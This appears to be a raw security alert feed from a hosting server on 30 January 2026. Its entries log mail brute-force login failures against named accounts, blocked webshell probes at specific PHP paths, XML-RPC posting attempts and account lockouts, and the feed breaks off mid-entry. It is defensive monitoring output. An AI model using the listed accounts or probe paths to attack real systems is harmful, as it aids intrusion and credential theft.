2026-01-30 17:27:18 dovecot_login authenticator failed for H=([103.68.52.210]) [103.68.52.210]:53622: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-01-30 17:27:25 dovecot_login authenticator failed for H=(164.199.4.122.broad.wf.sd.dynamic.163data.com.cn) [122.4.199.164]:52721: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-01-30 17:28:11 dovecot_login authenticator failed for H=(aes-static-217.70.22.125.airtel.in) [27.123.101.146]:53356: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/malaysia-infinity-design-projects/images/home/article.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/jquery.lazyload/img/demos/index.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.101.241.44
country_id: 1835841
description:
2026-01-30 17:28:09 dovecot_login authenticator failed for H=([222.101.241.44]) [222.101.241.44]:39846: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.98
country_id: 1269750
description:
2026-01-30 17:28:12 dovecot_login authenticator failed for H=([182.95.215.114]) [125.23.183.98]:49532: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/demos/master/style-switcher/vendor/rs-plugin/js/index.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 123.136.114.11
country_id: 1733045
domain: egbwawasan.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.69||T:APACHE||RA:123.136.114.11||TA:123.136.114.11||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.75.21.177
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/bootstrap/js/img/product.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery/img/photos/master/style-switcher/product.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 145.239.89.234
country_id: 798544
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-01-30 17:32:36 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com ([173.248.234.145]) [69.172.79.198]:61933: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:32:24 dovecot_login authenticator failed for H=(Z1R9gb4PPY) [178.16.54.138]:53675: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 17:32:44 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:47144: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-30 17:32:27 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:46570: 535 Incorrect authentication data (set_id=hr@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-30 17:32:36 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:41322: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 17:33:08 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:44096: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:33:34 dovecot_login authenticator failed for H=(xYHsKE) [178.16.54.138]:57783: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.57.98
country_id: 2921044
description:
2026-01-30 17:33:36 dovecot_login authenticator failed for H=(ADMIN) [212.102.57.98]:1396: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: masaakisb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/masaakisb/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:34:05 dovecot_login authenticator failed for H=(WC1qdO2) [178.16.54.138]:57287: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.59.87
country_id: 1269750
description:
2026-01-30 17:34:34 dovecot_login authenticator failed for H=(abts-north-static-087.59.160.122.airtelbroadband.in) [122.160.59.87]:38916: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:35:35 dovecot_login authenticator failed for H=(ychDA1D) [178.16.54.138]:51110: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 17:35:55 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:57596: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: masaakisb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/masaakisb/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 17:36:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53605: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:36:05 dovecot_login authenticator failed for H=(6upeWQIuwP) [178.16.54.138]:50284: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:37:03 dovecot_login authenticator failed for H=(yghsAhfbl) [178.16.54.138]:64356: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.74.176.28
country_id: 149590
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/oasis.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.16.117
country_id: 1269750
domain: lvconsult.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:test01.lvconsult.com.my||ServerName:lvconsult.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.204.16.227
country_id: 3469034
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/oasis.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 17:37:51 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:58909: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-01-30 17:38:09 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:33144: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.171.146.247
country_id: 2921044
description:
[2026-01-30 17:38:42 +0800] info [cpaneld] 62.171.146.247 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:38:02 dovecot_login authenticator failed for H=(M7fRm1) [178.16.54.138]:55559: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:39:03 dovecot_login authenticator failed for H=(VK6ieHb) [178.16.54.138]:65050: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.120.98
country_id: 1269750
description:
2026-01-30 17:40:26 dovecot_login authenticator failed for H=([59.145.74.209]) [122.184.120.98]:41246: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.4.205.242
country_id: 1814991
description:
2026-01-30 17:40:44 dovecot_login authenticator failed for H=([218.4.205.242]) [218.4.205.242]:43086: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:40:13 dovecot_login authenticator failed for H=(vw2awd) [178.16.54.138]:63649: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.125.124.14
country_id: 3469034
description:
2026-01-30 17:40:59 dovecot_login authenticator failed for H=(vtx-b-124-014.virtex.com.br) [179.125.124.14]:52067: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 17:41:10 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:40508: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:41:09 dovecot_login authenticator failed for H=(rozdEMd) [178.16.54.138]:57552: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 17:41:30 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:48751: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 17:41:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account chuan@tschuan.com has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/Fixtures/common.inc||User:visoftcom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 17:42:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account chuan@tschuan.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:42:15 dovecot_login authenticator failed for H=(Y6r27Z8) [178.16.54.138]:63726: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.16.117
country_id: 1269750
domain: lvconsult.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.lvconsult.com.my||ServerName:lvconsult.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/eco.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.66.3.114
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=193141 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.226.240
country_id: 1269750
description:
2026-01-30 17:45:00 dovecot_login authenticator failed for H=(nsg-corporate-240.226.187.122.airtel.in) [122.187.226.240]:47977: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 17:45:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:55005: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.254.54
country_id: 1269750
description:
2026-01-30 17:45:37 dovecot_login authenticator failed for H=([128.185.254.54]) [128.185.254.54]:47590: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-01-30 17:45:11 dovecot_login authenticator failed for H=(122.55.57.177.pldt.net) [210.1.66.154]:49580: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 17:45:16 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:44870: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 17:45:21 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:46528: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 17:45:52 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:59138: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 17:46:12 H=(localhost.localdomain) [45.150.192.143]:35502 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 17:46:05 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:45978: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.163
country_id: 99237
description:
2026-01-30 17:47:33 dovecot_login authenticator failed for H=([65.20.250.163]) [65.20.250.163]:59865: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 17:48:11 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:58205: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 17:48:30 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:53658: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 17:48:17 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:54981: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.162
country_id: 1269750
description:
2026-01-30 17:48:24 dovecot_login authenticator failed for H=(nsg-corporate-162.230.187.122.airtel.in) [122.187.230.162]:39549: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.38.130
country_id: 1210997
description:
2026-01-30 17:48:41 dovecot_login authenticator failed for H=([49.0.38.130]) [49.0.38.130]:60940: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 17:49:25 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:34338: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-30 17:49:53 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:59648: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 17:50:30 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:33836: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.195.77.177
country_id: 1835841
description:
2026-01-30 17:50:19 dovecot_login authenticator failed for H=([119.195.77.177]) [119.195.77.177]:46683: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.228.183
country_id: 1210997
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/windsurfingmalaysia-howtogetthere.htm HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 17:54:20 H=(localhost.localdomain) [45.150.192.143]:57740 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 17:54:46 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:19184: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.117.32.22
country_id: 2017370
description:
2026-01-30 17:54:54 dovecot_login authenticator failed for H=(22.32.117.87.donpac.ru) [87.117.32.22]:58948: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.61.228.12
country_id: 2077456
description:
2026-01-30 17:54:21 dovecot_login authenticator failed for H=(ADMIN) [179.61.228.12]:46360: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.173.107.197
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=685978 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 17:54:34 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:35024: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-30 17:55:23 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:52978: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 17:55:45 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:13208: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 183.87.185.191
country_id: 1269750
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?id=31&page_id=3&sub=86 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.95.101.182
country_id: 3469034
description:
2026-01-30 17:56:31 dovecot_login authenticator failed for H=(182.101.95.187.dynamic.liggatelecom.com.br) [187.95.101.182]:49074: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 17:56:18 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:40316: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.128.202
country_id: 6252001
description:
2026-01-30 17:56:37 dovecot_login authenticator failed for H=([192.34.128.202]) [192.34.128.202]:56576: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.181.212
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=900301 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-01-30 17:56:01 dovecot_login authenticator failed for H=([182.95.22.208]) [125.23.228.86]:34748: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/img/druma_photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Tests/fixtures/empty.ini||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.132.172
country_id: 99237
description:
2026-01-30 17:59:05 dovecot_login authenticator failed for H=([65.20.132.172]) [65.20.132.172]:33385: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-30 18:00:50 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:45317: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.52
country_id: 2017370
description:
2026-01-30 18:00:51 dovecot_login authenticator failed for H=([178.178.222.52]) [178.178.222.52]:60772: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.80.228.231
country_id: 6252001
description:
2026-01-30 18:00:27 dovecot_login authenticator failed for H=([129.80.228.231]) [129.80.228.231]:38408: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 18:01:29 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:41317: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.22.191
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=56871532676393 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.16.117
country_id: 1269750
domain: lvconsult.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lvconsult.com.my.lvconsult.com.my||ServerName:lvconsult.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.140.179.150
country_id: 2542007
description:
2026-01-30 18:02:49 dovecot_plain authenticator failed for H=([192.168.1.36]) [41.140.179.150]:55020: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.106.155
country_id: 3469034
description:
2026-01-30 18:02:54 dovecot_login authenticator failed for H=(177-174-106-155.user.vivozap.com.br) [177.174.106.155]:41086: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.229
country_id: 337996
description:
2026-01-30 18:03:23 dovecot_login authenticator failed for H=([196.189.124.229]) [196.189.124.229]:59048: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 18:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58176: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.84.188.140
country_id: 3996063
description:
